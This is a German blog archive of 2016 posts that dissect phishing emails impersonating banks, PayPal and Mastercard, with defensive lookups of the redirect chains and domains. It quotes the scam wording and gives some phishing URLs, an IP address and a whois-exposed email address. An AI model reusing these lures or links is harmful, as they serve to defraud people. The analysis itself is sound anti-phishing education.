Kategoriearchiv „Phishing“

NorisBank

Mittwoch, 5. Oktober 2016

Aber da bin ich doch gar nicht. Außerdem schreibt sich dieser Bänksterverein selbst als „norisbank“, also in Kleinbuchstaben, und ich glaube nicht, dass er in eventuellen echten E-Mails von seiner Reklamelinie abweichen und eine sonst niemals verwendete Binnenmajuskel nehmen würde. (Ich werde im Fortlauf des Textes die ganz normale Großschreibung benutzen.) Wer dort Kunde ist, sollte also schon am Betreff merken, dass es sich nicht um eine E-Mail der Norisbank, sondern um eine Spam handelt.

Ungewohnliche Kontobewegungen es notwending gemacht Ihr Konto einzugrenzen bis zusatzliche Informationen zur Uberprufung gesammelt werden.

Die „Norisbank“ hat zwar ihre ganze Umlaute mutmaßlich gegen Zinsen verliehen, aber das Konto bewegt sich.

Zur Zeit haben Sie nur begrenzten Zugang zu Ihrem norisbank Konto. Wir bitten Sie daher die von uns angeforderten Kontodaten zu enrneuern.

Completa le informazioni richieste

>> Bitte klicken Sie hier <<

Auch mit den Sprachen kommt die „Norisbank“ zuweilen ein wenig durcheinander. Aber immerhin weiß sie, was „Click here“ auf Deutsch heißt.

Der Link geht allerdings nicht in die Norisbank, sondern nach der üblichen Kaskade von Umleitungen in eine Subdomain von uid0 (punkt) su, die bereits wohlbekannt…

$ surbl uid0.su
uid0.su	LISTED: PH 
$ _

…für Phishing ist. (Mein Shellskript für SURBL-Abfragen kann sich jeder bei Pastebin runterladen.) Dort gibt es übrigens eine italienische PayPal-Anmeldemaske, und was die mit der Norisbank zu tun haben soll, wird sich auch dem dümmsten Dummkopf nicht mehr erschließen.

Wir entschuldigen uns für jegliche Unannehmlichkeiten.

Spart euch die Entschuldigung und hört auf zu spammen! Und wenn ihr schon nicht anders könnt, weil ihr viel zu verkommen seid, um ohne Spam leben zu können, dann seid in euren Spams wenigstens nicht so unendlich blöd! Bei dermaßen schlechtem Phishing wollen sich ja die Gehirnzellen freiwillig in den Tod stürzen.

Copyright @ 2016 norisbank ist ein Unternehmen der Deutsche Bank Gruppe

Ja, mit deklariertem „geistigen Eigentum“ auf eine E-Mail. Auch so ein Selbstmordimpuls für die letzten Hirnzellen, aber den gibts auch immer wieder von richtigen Unternehmen. Kann den dafür verantwortlichen Menschen bitte mal jemand sagen, wie blöd das ist! Vermutlich sind die dummen Reklameheinis, die sich so etwas ausdenken, so gestrickt, dass sie in jedem Gespräch nach jedem einzelnen gesagten Satz das „geistige Eigentum“ für ihre geniale und schöpferische Sprechleistung deklarieren. Können sie ja auch gern untereinander machen, es ist ja ein halbwegs freies Land. Aber in der Kommunikation mit gewöhnlich denkenden Menschen sieht es affig und lächerlich aus. Und Unternehmungen, die ihre Kunden affig und lächerlich ansprechen, brauchen sich nicht über die Folgen zu wundern, wenn sie auf diese Weise ihre eigene Reputation im Klo runterspülen. Welche Folgen? Hierzu ein kleiner Hinweis von mir: Die Menschen, die zu dumm sind, um so etwas zu bemerken (oder die sich sogar davon beeindrucken lassen), haben wegen ihrer Dummheit nicht die größte Kaufkraft; die anderen sind irgendwann woanders. Nachhaltig.

Aktualisierung

Samstag, 24. September 2016

Oh, ich habe aber lange kein Phishing mehr gesehen…

Von: DKB Bank <bankzaken@dkb.de>

Diese Spam hat niemals einen Server gesehen, der dkb.de heißt. Der Absender ist gefälscht. Sie wurde zusammen mit ein paar weiteren hunderttausend dieser Überrumpelungsversuche über einen gemieteten Server bei einem großen deutschen Hoster versendet.

Guten Tag ,

Genau mein Name!

Wie ich eben gesehen habe, gibt es diese Spams auch mit persönlicherer Ansprache.

Seitdem 01.09.2016 müssen all unsere Kunden Ihre persönlichen Daten bestätigen.

Wieso? Ach, weil ein Datum ist. Und…

Die Bestätigung sorgt dafür, dass die hinterlegten Daten stets aktuell sind und aktiviert zugleich unser neues Sicherheitskonzept.

…weil alles viel aktueller und sicherer ist, wenn die „Kunden“ noch einmal lauter Daten rausrücken, die bei der angeblichen Bank schon längt bekannt sind. Damit auch wirklich – obwohl sich inzwischen überall herumgesprochen haben sollte, was Phishing ist – ein paar Leute darauf reinfallen können…

Wie ein Mitarbeiter von uns festgestellt hat, haben Sie die kostenfreie Bestätigung bis heute nicht durchgeführt. Aus diesem Grund wurde Ihr Konto temporär gesperrt.

…wird einfach behauptet, dass das Konto gesperrt wird. Warum? Na, aus Kundendienst und Freundlichkeit natürlich. Und wegen des weiter oben erwähnten Datums. Ein Kreditinstitut, das wirklich so vorginge, könnte wegen dieser Nötigung angezeigt werden und wäre für den angerichteten Schaden regresspflichtig.

Wer mir nicht glaubt, dass das eine Spam ist, kann sich sehr einfach davon überzeugen, dass das Konto mitnichten gesperrt ist. Danach bitte die Spam löschen und auf gar keinen Fall jemals auf die Idee kommen, irgendwelche beim angeblichen Gegenüber längst bekannten Daten zu „bestätigen“, indem man sie auf einer Website erneut eingibt, die in einer E-Mail verlinkt wurde.

Wo der Link ist? Hier ist er:

Führen Sie bitte die Bestätigung über den unten angezeigten Button durch.

Klicken Sie hier

Ein Klicki-klicki-Link ist der neue Button.

Wer darauf klickt, sieht eine Login-Seite der falschen Bank:

Die Deutsche Kreditbank AG ist eine Tochter der Bayerischen Landesbank und hat mit der HypoVereinsbank nichts zu tun.

Nach der Bestätigung wird Ihr Konto anschließend freigeschaltet und unter anderem treten auch unsere neuen Sicherheitsvorkehrungen für das so genannte sicheres-bezahlen im Internet [sic!] in Kraft.

Danach ist anschließend und ja… das so genannte sichere Bezahlen im Internet tritt dann auch in Kraft. Spätestens an dieser Stelle sollte noch der naivste Mensch bemerkt haben, dass keine Bank eine derartige Formulierung wählen würde.

Sollten Sie diese Bestätigung binnen 14 Tagen nicht durchführen, ist eine Freischaltung nur noch über den Postweg möglich.

Bestätigung durchführen

Tja, Spammer, ist schon peinlich, wenn man sich seinen Text aus Bausteinen in einer Sprache zusammensetzt, die man gar nicht richtig versteht – und dabei vergisst, einen Text zu verlinken, damit er nicht wie ein Satzstummel herumsteht.

Mit freundlichen Grüßen
Ihre DKB AG

Freundlich wie eine Ohrfeige
Dein Phishing-Betrüger

Letzte Warnung!!!

Mittwoch, 7. September 2016

Ihre Mailbox überschritten die Speichergrenze von 2,0 GB
Definiert durch den Administrator ist derzeit 2.30GB, kann nicht
senden oder neue Nachrichten erhalten, bis Sie Ihre E-Mail bestätigen

Klicken Sie auf den folgenden Link, um Ihre E-Mail zu bestätigen

Klicken Sie hier

dank
Systemadministrator

Ohne Worte.

Neues Tan-Verfahren!

Freitag, 22. Juli 2016

Der Absender dieser Spam (die ihren Empfänger übrigens mit Namen anspricht) ist gefälscht. Sie kommt nicht von der ING-DiBA AG, sondern von Kriminellen, die ihre Opfer dazu bringen wollen, Zugangsdaten für ihr Konto herauszurücken. Es ist „gutes altes Phishing“, wie ich es inzwischen eher selten sehe, und das macht es in meinen Augen eher noch etwas gefährlicher. Die HTML-formatierte Spam sieht so aus:

Natürlich geht sie auch an Menschen, die keine Kunden der ING-DiBa sind. Es ist Schrotmunition. Nicht darauf reinfallen! Und wer schon darauf reingefallen ist: Sofort Kontakt mit der Bank aufnehmen, um den Schaden einzugrenzen!

Von: ING-DiBa <info (at) ing (strich) diba (punkt) nl>

Wie schon gesagt: Dieser Absender ist gefälscht. Es ist kinderleicht, den Absender einer E-Mail zu fälschen. Man kann einfach den Absender hineinschreiben, den man haben möchte. Deshalb sollte man niemals eine E-Mail nur wegen ihres Absenders für vertrauenswürdig halten¹.

Sehr geehrter Herr xxxxxxx,

Und jetzt, nachdem die Spammer nach teilweise verheerenden Datenschutzvorfällen zu sehr vielen Mailadressen auch einen Namen haben, ist auch eine persönliche Anrede mit richtigem Vornamen und Nachnamen kein sicheres Zeichen mehr, dass man es nicht mit einer Spam zu tun hat.

Nach dem BSI-Standard 100-1, [Komma zu viel] sind wir dazu verpflichtet [Komma fehlt] alte, unsichere Technologien durch aktuelle Standards zu ersetzen [„Standards“ und „Technologien“ sind zwei semantisch sehr verschiedene Dinge, so dass diese „Verpflichtung“ objektiv sinnlos ist]. Aus diesem Grunde löst das neue photoTAN-Verfahren das teilweise noch im Einsatz befindliche, veraltete iTAN-Verfahren ab.

Immerhin, den referenzierten Standard gibt es wirklich. Er hat zwar ein etwas anderes Thema, aber wer kurz beim Bundesamt für Sicherheit in der Informationstechnik nachschaut, was das für ein Standard ist, statt das unverstandene Wort zu überfliegen und sich darüber zu freuen, dass er es nicht verstehen muss, der ist eh viel zu intelligent, um auf so einen plumpen Betrug hereinzufallen.

Über den unten angezeigten Button gelangen Sie direkt zur Legitimation Ihrer Persönliche Daten [sic!] und der Entwertung Ihrer aktuellen iTAN-Liste [sic!]. Nach erfolgreicher Legitimation Ihrer persönlichen Daten und der Entwertung ihrer iTAN-Listen erhalten sie automatisch von uns einen für das neue TAN-Verfahren benötigten Legitimations-PIN kostenlos auf dem Postweg zugesandt.

Zur Legitimation

So so, „Entwertung ihrer aktuellen TAN-Liste“… kann man sich gar nicht selbst ausdenken, diesen Bullshit. Ich vermute mal, dass die Opfer Gelegenheit bekamen, die komplette TAN-Liste abzutippen oder ein Foto davon einzusenden – die in der Spam verlinkte Phishing-Seite ist zum Glück bereits verschwunden.

Übrigens: Banken versenden solche Aufforderungen niemals. Warum sollten sie auch. Die brauchen nur in ihrer Datenbank ein paar TANs als ungültig markieren, und schon gehen sie nicht mehr. (Das müssen sie können, weil eine TAN-Liste verloren gehen oder gestohlen werden kann.) Dafür bedarf es keiner weiteren „Entwertung“ und keiner sinnlosen Mail mit „Klick mal, ich bin ein Link aus einer Mail“.

Ach ja, der Link. Er war über bit (punkt) ly gekürzt, um das Linkziel zu verschleiern. Wo der Link hingeht, sieht man übrigens, wenn sich der Mauszeiger über dem Link befindet und man in seiner Mailsoftware in die Statuszeile schaut.

Ein richtiges Unternehmen, das Kontakt zu seinen Kunden pflegt, wird vielleicht auf viele komische Ideen kommen, aber sicherlich niemals auf die Idee, die eigene Website vor den Kunden zu verstecken. Solche Ideen haben nur Spammer. Sie müssen ja an den Spamfiltern vorbeikommen, und deshalb gibt es keine direkten Links, sondern eine Hüpfprozession entlang diverser über HTTP oder Javascript realisierter Weiterleitungen.

Wenn man sich dann anschauen will, wo die Reise hingeht, ist das schon ein bisschen nervig:

$ lynx -mime_header http://bit.ly/2atHQSe | grep '^Location'
Location: http://blg.to/fipSTeN
$ lynx -mime_header http://blg.to/fipSTeN | grep '^Location'
Location: http://theshortme.net/safgewga
$ lynx -mime_header http://theshortme.net/safgewga | grep '^Location'
Location: http://kontoverifikation.net/start/validation
$ _

Die Domain kontoverifikation (punkt) net…

$ whois kontoverifikation.net | grep '^Creation'
Creation Date: 2016-07-15T02:11:26Z
$ _

…wurde ganz frisch vor einer Woche eingerichtet, und zwar nicht von einer Bank, sondern von einer Privatperson mit einer kostenlos und anonym einzurichtenden E-Mail-Adresse bei mail (punkt) ru.

Mit freundlichen Grüße [sic!], Ihr ING-DiBa Team

An diese E-Mail-Adresse können keine Antworten gesendet werden. Weitere Informationen bekommen Sie bei unsererm ING DiBa Kundeservice.

Der Absender dieser Mail ist gefälscht.

Mit dieser Servicemitteilung informieren wir Sie über wichtige änderungen [sic!] bezüglich Ihres ING DiBa Kontos.
© 2016 ING-DiBa AG, Theodor-Heuss-Allee 2, 60486 Frankfurt am Main, Deutschland

Übrigens: Es ist gar nicht auszudenken, wie erfolgreich wohl eine neue Phishing-Masche sein könnte, wenn die Spammer sich wenigstens die Mühe geben würden, fehlerfreies Deutsch zu schreiben. Ist doch nicht so schwierig, da jemanden drüberschauen zu lassen, der auch Deutsch kann und ein paar Fehlerchen zu korrigieren, bevor man die Mail abschickt. Aber wenn der Spammer sich Mühe geben wollte, könnte er ja gleich arbeiten gehen…

¹Wer vertrauenswürdige E-Mail-Kommunikation wünscht, kommt nicht umhin, sich mit digitaler Signatur zu befassen. Es ist in der Anwendung viel einfacher, als die meisten Menschen sich das vorstellen.

Sparda Bank – Aktueller Sicherheitshinweis

Samstag, 28. Mai 2016

Aber ich bin da doch gar nicht. Ach, ist ja auch eine Spam.

Lange kein Phishing mehr gehabt.

Sparda Bank – Aktueller Sicherheitshinweis

Das steht doch schon im Betreff.

Sehr geehrter Kunde, Grüße von Ihrer Sparda-Bank!

Genau mein Name!

Spätestens an dieser Stelle sollte jeder bemerken, dass es sich um eine Spam handelt. Eine echte E-Mail der Sparda-Bank würde nämlich immer…

…den Kunden persönlich und namentlich ansprechen; und
…möglichst früh im Text angeben, auf welchen Vertrag oder welches Konto sich die E-Mail bezieht, denn viele Kunden haben mehrere Konten oder laufende Darlehen oder dergleichen.

Nur kann sich der Spammer halt keine Kontonummer ausdenken, die bei jedem Empfänger passt. Aber „sehr geehrter Kunde“ passt immer.

Wir haben festgestellt, dass Sie Ihre persönlichen Daten bis heute nicht bestätigt haben.

Aha, darum geht es also in einem „aktuellen Sicherheitshinweis“. Und ich dachte schon, da steht drin, dass die Geldautomaten heute im Jackpot-Modus laufen und dass man eventuell überschüssige ausgegebene Banknoten doch bitte zur Filiale bringen soll, um riesige Geldverluste bei der Bank seines Vertrauens zu vermeiden. 😉

Aber das Beste an diesem Phishing-Trick ist: Wie, jetzt erst wollen die meine Daten? Nicht schon, als ich angeblich Kunde geworden bin? Haben die mir einfach Geld gegeben, ohne sich ein Ausweisdokument von mir zeigen zu lassen?

Diese Phisher denken sich doch immer wieder so richtig extratolle Gründe aus, um Leute dazu zu bringen, dass sie ihr Konto Kriminellen zur Verfügung stellen.

Tatsächlich hat es aber für die Sicherheit überhaupt keinen Wert, wenn man gegenüber einer Bank (oder sonstigen Unternehmung) lauter Daten noch einmal angibt, die der Bank (oder sonstigen Unternehmung) längst bekannt sind. Die einzigen, die an solchen Angaben Interesse haben können und die deshalb solche Angaben einfordern, sind gewerbsmäßig agierende Betrüger, die sich für die Datenakquise als Bank (oder sonstige Unternehmung) ausgeben, um danach mit dem Geld anderer Leute mal so richtig groß einkaufen zu gehen.

Um Ihnen weiterhin einen sicheren Service anbieten zu können, ist die Bestätigung Ihrer persönlichen Daten notwendig. Ihr Nutzerkonto wurde temporär gesperrt.

Wie bitte? Was hat die Korrektmeit „meiner persönlichen Daten“ mit der Sicherheit der Dienstleistung einer Bank zu tun? Die hätte auch sicher zu sein, wenn ich nur als Daisy Duck aus Entenhausen bekannt wäre.

Nach Abschluss der Bestätigung wird Ihr Nutzerkonto automatisch freigeschaltet.
Die Bestätigung können Sie über den unten ausgeführten Button starten.

Die gleichen Leute, die im vorigen Absatz von „Sicherheit“ gefaselt haben, erzählen jetzt, dass ich die „Sicherheit“ durch einen Klick in eine nicht digital signierte E-Mail herstellen kann, wie sie mir jeder der potenziell acht Milliarden Internetteilnehmer zusenden könnte. Das sind Spezialexperten für Sicherheit! Und damit wirklich ein paar Naive so dumm sind, dass sie darauf reinfallen…

Kommen Sie dieser E-Mail innerhalb 14 Tagen nicht nach, ist die Freischaltung nur über den Postweg möglich. Dabei wird eine Bearbeitungsgebühr in Höhe von 79,95€ fällig, welche wir anschließend von Ihrem Konto abbuchen werden.

…werden in ein paar Tagen angeblich grundlos achtzig Euro fällig, weil man auf eine E-Mail nicht reagiert – was ja auch daran liegen könnte, dass die Zustellung gescheitert ist, dass die E-Mail als Spam aussortiert wurde oder dass sie an eine wegen Spamverseuchung nicht mehr aktiv genutzte E-Mail-Adresse geht. Deshalb kommen derartige Fristsetzungen aus Gründen der Rechtssicherheit ja auch nicht über E-Mail, sondern immer mit der Sackpost.

Jetzt anmelden

Der Link führt natürlich nicht zur Website der Sparda-Bank, sondern zum Server mit der IP-Adresse 190.123.45.36 (nein, es wird im Link keine Domain verwendet), der im sonnigen Panama gehostet ist. Alles, was man dort an Daten eingibt, geht direkt an Verbrecher.

Immerhin hat der Hoster schnell auf die Abuse-Mail reagiert. Der von den Phishern angemietete Server ist bereits vom Netz. Vermutlich wird jetzt ein anderer Server irgendwo auf der Welt verwendet.

Wir bitten Sie die Umstände zu entschuldigen und bedanken uns bei Ihnen für Ihr Verständnis.

Oh, so ein pseudohöflicher Dank nach einer unverschämten Belästigung ist genau das, was in mir immer das akute Bedürfnis nach negativem sozialen Feedback in Form eines eingeschlagenen Fressbrettes auslöst. Leider hat der Idiot von Spammer dieses kleine Juwel der Kundenverachtung aus echten Texten echter Unternehmungen abgeschrieben – ich durfte derartige Unverschämtheiten jedenfalls immer wieder einmal lesen. Bei jemanden, der kein Masochist ist, sollten derartige Phrasen nur dazu führen, dass man Verträge so schnell wie möglich (und im Zweifelsfall unter Vorwand) kündigt und derart kundenverachtende Klitschen mit ihrer Arschlochsprache fortan vollständig meidet.

Mit freundlichen Grüßen
Ihre Sparda Bank

Mit intelligenzverachtenden Grüßen
Dein Phishing-Spammer

Diese Spam ist ein Zustecksel meines Lesers M.S.

Ihr PayPal-Konto ist eingeschränkt

Mittwoch, 20. April 2016

„Leer“ ist das Wort, „leer“… 😀

Von: PayPal <noreply (at) paypal (punkt) de>

Natürlich ist der Absender gefälscht. Diese (relativ gut gemachte) Phishing-Spam hat niemals einen Server von PayPal gesehen.

E-Mail-Adresse
gammelfleisch@tamagothi.de

Hey, Spammer! Die Empfänger-Mailadresse steht bereits im To-Header und ist damit eine völlig überflüssige Angabe. Und auch…

Datum
20.04.2016

…das Datum steht im Header und wird in jeder Mailsoftware angezeigt.

Aber vermutlich glaubst du, dass deine Spam besser und „offizieller“ aussieht, wenn sie möglichst viele in einer E-Mail sinnlose Angaben enthält, die in einem Sackpost-Brief sinnvoll wären.

Sicherheitsmaßnahme

Auch auf die Gefahr hin, mich immer wieder zu wiederholen…

Lieber Kunde

…kennt PayPal einen anderen Namen für seine Kunden als „Lieber Kunde“ und würde diesen anderen Namen in seiner Anrede verwenden. Da die Spammer inzwischen aus diversen Datenlecks viele Zuordnungen von Klarnamen zu Mailadressen haben, ist eine völlig unpersönliche Anrede kein sicheres Erkennungszeichen für jeden Phishing-Versuch mehr, aber wo sie auftritt, ist immer noch klar, dass man es mit Betrügern zu tun hat.

Im Zusammenhang damit, dass angeblich Probleme mit einem Konto vorliegen, sollte das zu sofortigen Zuckungen im Löschfinger führen.

unser Sicherheitsteam musste Ihr Nutzerkonto bedauerlicherweise einschränken. Der Grund dafür ist, dass wir eine verdächtigte Zahlungstransaktion erfasst haben. Dies war also eine reine Sicherheitsmaßnahme.

Aha, ein Bezahldienst schaltet ein Konto ab, weil es zum Bezahlen benutzt wird. Gut zu wissen. 😀

Und was kann man dagegen tun?

Wir bitten Sie deshalb Ihre Daten binnen 7 Tagen zu bestätigen, damit Sie Ihr Konto wie gewohnt weiter nutzen können.

Richtig: „Seine Daten bestätigen“. Also: Dem angeblichen „PayPal“ der Spammer lauter Daten mitteilen, die das richtige PayPal schon längst kennt. Und damit man das auch ja richtig macht, wird es hier noch einmal erklärt:

Was muss ich jetzt machen?

Folgen Sie dem Button [sic!]

Verifizieren Sie sich

Sie können Ihr Konto uneingeschränkt nutzen

Zur Überprüfung

Man soll „dem Button folgen“. Klingt ja auch viel besser als „auf einen Link in einer E-Mail klicken“, ist aber genau das. Genau genommen klingt es nicht einmal besser, sondern einfach nur dümmlich. Dieser Link führt nicht etwa zu PayPal, sondern zum URL-Verlängerer (Ja, die Welt ist so reif!) megaurl.co, der dann zu einer Website in die Domain paysecuree (punkt) com weiterleitet. Diese Domain…

$ whois paysecuree.com | grep -i '^registrant'
Registrant Name: James Axxxxx
Registrant Organization: N/A
Registrant Street: Oxxxxx 20   
Registrant City: Ede
Registrant State/Province: Other
Registrant Postal Code: 6xxxGK
Registrant Country: NL
Registrant Phone: +31.068416xxxx
Registrant Phone Ext: 
Registrant Fax: 
Registrant Fax Ext: 
Registrant Email: aledax23@gmail.com
$ _

…gehört nicht PayPal und hat nichts mit PayPal zu tun. Ich habe ein paar Dinge unkenntlich gemacht, obwohl es offen zugängliche Daten sind, weil ich davon ausgehe, dass hier die Identität eines anderen Menschen missbraucht wird. Der Mensch mit dieser Anschrift tut mir leid, denn er wird wegen der asozialen Kriminalität anderer Leute eine Menge Ärger und Laufereien bekommen, auf die ein Mensch gut verzichten kann. So etwas ist übrigens auch ein Grund, weshalb man immer sparsam mit seinen persönlichen Daten umgeht und sie nicht überall eingibt, wo man sie eingeben kann. Auch nicht für eine Handvoll Glasperlen… ähm… für einen kostenlos nutzbaren Dienst im Web oder für eine kostenlos nutzbare App oder dergleichen. Und auch nicht bei Anbietern, die „seriös“ aussehen, denn das Wichtigste beim Betrug ist nun einmal ein „seriöses“ Aussehen.

Diese Webseite, die nicht von PayPal ist und die übrigens den Titel „Ihr Konto wurde vorübergehend eingefroren“ trägt, sieht übrigens so aus:

Sie funktioniert übrigens nicht ohne Javascript. Wer – wie ich es unbedingt empfehle – nicht jeder dahergelaufenen Seite in einem anonymisierenden, technischen Medium das Ausführen von Code im Webbrowser gestattet, sondern dieses Privileg nur ausgewählten Seiten geben möchte und deshalb ein scheinbar „unbequemes“ Browser-Addon wie NoScript verwendet und PayPal die Ausführung von Javascript erlaubt hat, bemerkt spätestens beim Nichtfunktionieren dieser Seite, dass etwas nicht stimmt.

Aber vermutlich ist niemand, der sich auch nur rudimentäre Gedanken um Computersicherheit macht, so weit gekommen. Es gibt vorher genug Alarmzeichen, obwohl die Spam zugegebenermaßen gut gemacht ist:

Die Spam geht an willkürlich eingesammelte Mailadressen. Wer für einen Dienst wie PayPal eine eigene Mailadresse verwendet, die nirgends anders verwendet wird und deshalb nicht „eingesammelt“ werden kann, merkt sofort, dass etwas nicht stimmt.
PayPal versendet solche E-Mails mit Klickmich-Aufforderung nicht.
PayPal spricht seine Kunden persönlich an.
Jeder Mensch, der weiß, dass man gegenüber E-Mail gar nicht misstrauisch genug sein kann, klickt nicht in die Spam, sondern ruft die PayPal-Website auf und meldet sich dort ganz normal an. Wenn dabei kein Problem angezeigt wird, ist unmittelbar klar, dass die E-Mail eine Spam ist.
Ein PayPal-Link, der nicht in die Website von PayPal geht, ist hochverdächtig.
Ein paar Formulierungen – insbesondere dieses „Folgen Sie dem Button“ statt einer Form von „Click here“, die immer häufiger von Spamfiltern aussortiert wird – sind doch ein bisschen zu lächerlich, um echt sein zu können.

Mit freundlichen Grüßen
Ihr Team für Kundensicherheit

Ja, ihr mich auch mal!

Copyright © 1999-2016 PayPal. Alle Rechte vorbehalten. PayPal (Europe) S.à r.l. et Cie, S.C.A., Société en Commandite par Actions. Eingetragener Firmensitz: 22-24 Boulevard Royal, L-2449 Luxembourg RCS Luxembourg B 118 349.

Nein, diese Spam kommt natürlich nicht von PayPal. Aber weil ich das immer wieder sage, sage ich es auch hier, und zwar mal mit etwas deutlicheren Worten: Wer „geistiges Eigentum“ auf den massenhaft reproduzierten Standardtext einer E-Mail proklamiert, macht sich lächerlich und stellt sich selbst als Vollidiot dar. Unter einem Brief, der mit der Sackpost an seinen Empfänger zugestellt wird, würde auch niemand so einen hirnlosen Rotz schreiben, wenn er mehr Intelligenz als eine frisch amputierte Laborratte hat und die Intelligenz der Leser seiner Briefe nicht gerade offen verachten möchte. Unter einer E-Mail ist es genau so dumm. Und diese Dummheit ist nicht die Dummheit von Spammern, sie ist direkt von PayPal abgeschaut, denn es ist die Dummheit PayPals, die man in jeder E-Mail von PayPal „genießen“ darf.

Deshalb noch ein kleiner Nachschlag von mir, in leicht jovialem Ton, der sinngemäß auch auf viele Kreditinstitute übertragbar ist:

Hey, PayPal,

könnt ihr bitte mal mit diesem von jedem Kriminellen leicht über die Zwischenablage zu imitierenden Bullshit mit dem „Copyright“ und dem „All rights reserved“ unter euren E-Mails aufhören, der keinerlei Funktion hat, juristisch bedeutungslos ist und einfach nur so dumm ist, dass es weh tut! Ich wäre euch sehr dankbar dafür.

Stattdessen könnt ihr einfach mal etwas sinnvolles mit euren E-Mails machen. Zum Beispiel könntet ihr damit beginnen, sie digital zu signieren, um den Phishing-Betrügern das Leben wenigstens ein bisschen schwerer zu machen. Technische Verfahren und Software zu ihrer Umsetzung stehen seit rd. 25 Jahren (ja, das ist ein Vierteljahrhundert, also ungefähr fünfzig Erdzeitalter der Informationstechnik) jedem zur Verfügung, der sie nutzen will, und inzwischen sogar Frei und kostenlos. Wenn ihr dann auch noch euren Kunden erklärtet, was eine digitale Signatur ist, warum eine digitale Signatur bei der Nutzung eines Mediums, in dem jeder seinen Absender fälschen kann, erforderlich ist und wie man die digitale Signatur überprüft (und gegebenenfalls selbst nutzt) und keine einzige unsignierte E-Mail mehr heraussendetet, hättet ihr fast alles gegen das Phishing getan, was ihr tun könntet – denn es wäre nicht mehr möglich, eine Mail von euch zu fälschen.

Wenn ihr digitale Signaturen nutztet, hätten sich viele Probleme erledigt.

Dass ihr das nicht tut, obwohl es praktisch keine Kosten verursachte, zeigt, dass ihr es nicht tun wollt. Und dass ihr das nicht tun wollt, zeigt, dass euch die Sicherheit des Zahlungsverkehrs eurer Kunden scheißegal ist, denn sonst würdet ihr Betrugsmöglichkeiten im Keim ersticken, wenn es nahezu kosten- und aufwandslos möglich wäre.

Ich hoffe, dass jeder eurer Kunden daraus die richtigen Schlüsse ziehen kann.

Ich hoffe ferner, dass ihr für diese eure Fahrlässigkeit einmal haftbar gemacht werdet und die dadurch bei anderen Menschen angerichteten Schäden erstatten müsst.

Ich befürchte aber, dass ich das nicht mehr erlebe.

Statt, dass ihr euren E-Mails etwas sinnvolles hinzufügt, nämlich eine digitale Signatur, fügt ihr ihnen etwas sinnloses hinzu, nämlich einen Hinweis, dass ihr für das großartige „Werk“ den vollen Schutz des „geistigen Eigentums“ beansprucht.

Ihr macht euch damit zu Freunden der Phisher. Aus Dummheit.

Nur, ums euch mal gesagt zu haben.
Der Nachtwächter

Wichtig: Zahlungsversuche von Ihrer Mastercard-Kreditkarte!

Freitag, 1. April 2016

Diese Spam habe ich im Honigtopf gefunden. Sie geht an Mailadressen, die Spammer einfach aus dem Internet einsammeln. Es ist Schrotmunition. Sie kommt nicht von MasterCard.

Auch, wenn dass Design gut ist und es auf dem ersten Blick nicht so aussieht:

Screenshot der Darstellung dieser Phishing-Spam im Mailclient

Diese HTML-formatierte Spam enthält kein einziges Wort Text. Sie besteht nur aus PNG-Grafiken, die von einem Webserver eingebettet werden¹. Niemand, der nicht einen kriminellen Versuch an einem Spamfilter vorbeimogeln wollte, käme auf die Idee, seinen Text so zu verstecken, denn Menschen mit einer halbwegs sicher konfigurierten Mailsoftware sehen davon gar nichts.

Mir ist übrigens auf dem ersten Blick aufgefallen, dass es sich um eine Grafik handelt – ich benutze nicht das Betriebssystem, in dem es standardmäßig die Schriftart „Arial“ gibt und erschrecke mich immer leicht, wenn ich Texte in dieser eher unästhetischen Schriftart „genieße“. 😉

Von: service (at) mastercard (punkt) de

Die Spam wurde von einer dynamisch vergebenen IP-Adresse aus Texas, USA versendet, also mit an Sicherheit grenzender Wahrscheinlichkeit von einem mit Schadsoftware feindselig übernommenen Privatrechner.

Guten Tag!

Gute Nacht!

Jedes Unternehmen, das Wert auf seine Kunden legt, wird seine Kunden persönlich und namentlich ansprechen.

Es wurden in den letzten Tagen mehrere Zahlungsversuche über Ihre MasterCard-Kreditkarte festgestellt, um Ihre Finanzen zu schützen hat unser Sicherheitsteam Ihre MasterCard-Kreditkarte automatisch gesperrt!

Das finde ich ja echt freundlich, dass mir eine Kreditkarte gesperrt wird, weil ich damit bezahle. Und vor allem: Es ist so eine gute Begründung!

Die Feinheiten der (im Deutschen unerfreulich komplizierten) Wortstellung und den Unterschied zwischen Punkt und Komma lernt ihr vermutlich erst im nächsten Jahr in eurem Deutschkurs. Desweiteren ist die passivische Formulierung „es wurden … festgestellt“ kein besonders guter Stil. So entpersönlichend schreibt eine Behörde, aber niemand, der seine Kunden behalten will. Fragt mal euren Deutschlehrer, der wirds euch wohl erklären können. Das ist aber nicht so leichter Stoff.

Momentan ist es nicht möglich Ihre MasterCard-Kreditkarte zu belasten oder auf diese Geld einzuzahlen, sie ist gesperrt aus Sicherheitsgründen!

Zugegeben, die Regeln zum Beistrich in der deutschen Sprache hirnen auch nach ihrer Vereinfachung in der letzten Rechtschreibreform immer noch gewaltig, aber nach „möglich“ gehört trotzdem ein Komma. Solche Fehler sind allerdings so häufig, dass sie kaum bemerkt werden. Viel auffälliger ist „sie ist gesperrt aus Gründen“, was eine im Deutschen zwar verständliche, aber selbst in der Umgangssprache eher unübliche Wortstellung ist. In einer Standardmail einer echten Unternehmung würden derartige Fehler und Schwächen nicht auftreten.

Über diese Schwächen des Stiles hätte ich jetzt beinahe überlesen, dass ihr in einem Anfall akuter Einfallslosigkeit drei Mal mit unterschiedlichen Formulierungen wiederholt habt, dass die Kreditkarte gesperrt ist. Tja, Worte finden sich auch dann, wenn die Ideen fehlen. 😀

Sie können Ihre MasterCard sofort wieder entsperren in dem sie eine Verifizierung durchführen, dieser Vorgang kostet
sie nur wenige Minuten.

Noch eine kleine Anmerkung zu den Feinheiten. Wenn ihr vor lauter gespielter Höflichkeit das Possessivpronomen in „Ihre Karte“ groß schreibt, solltet ihr auch die Anrede „sie“ groß schreiben. Sonst wirkt es wie gewollt und nicht gekonnt. 😀

Und ja, eine „Verifizierung“ zum „entsperren“… wenn ihr das nicht als Grafik einbettet, sondern als Text schreibt, wird euer Phishing-Versuch auch von schlechteren Spamfiltern zuverlässig in den Müll gekippt. Dieses Wort benutzen nicht Banken, Händler und Kreditkartenunternehmer in ihrer Mail an Kunden, sondern ausschließlich kriminelle Phisher.

Und jetzt wird es noch Zeit für einen Standardtrick der Phisher:

Sollten sie Ihre MasterCard-Kreditkarte nicht innerhalb
24 Stunden entsperren, wird Ihnen eine neue kostenpflichtige MasterCard Kreditkarte [sic! Deppen Leer Zeichen!] über den Postweg zugestellt.

Dabei wird eine Gebühr von 49,99,- EUR erhoben!

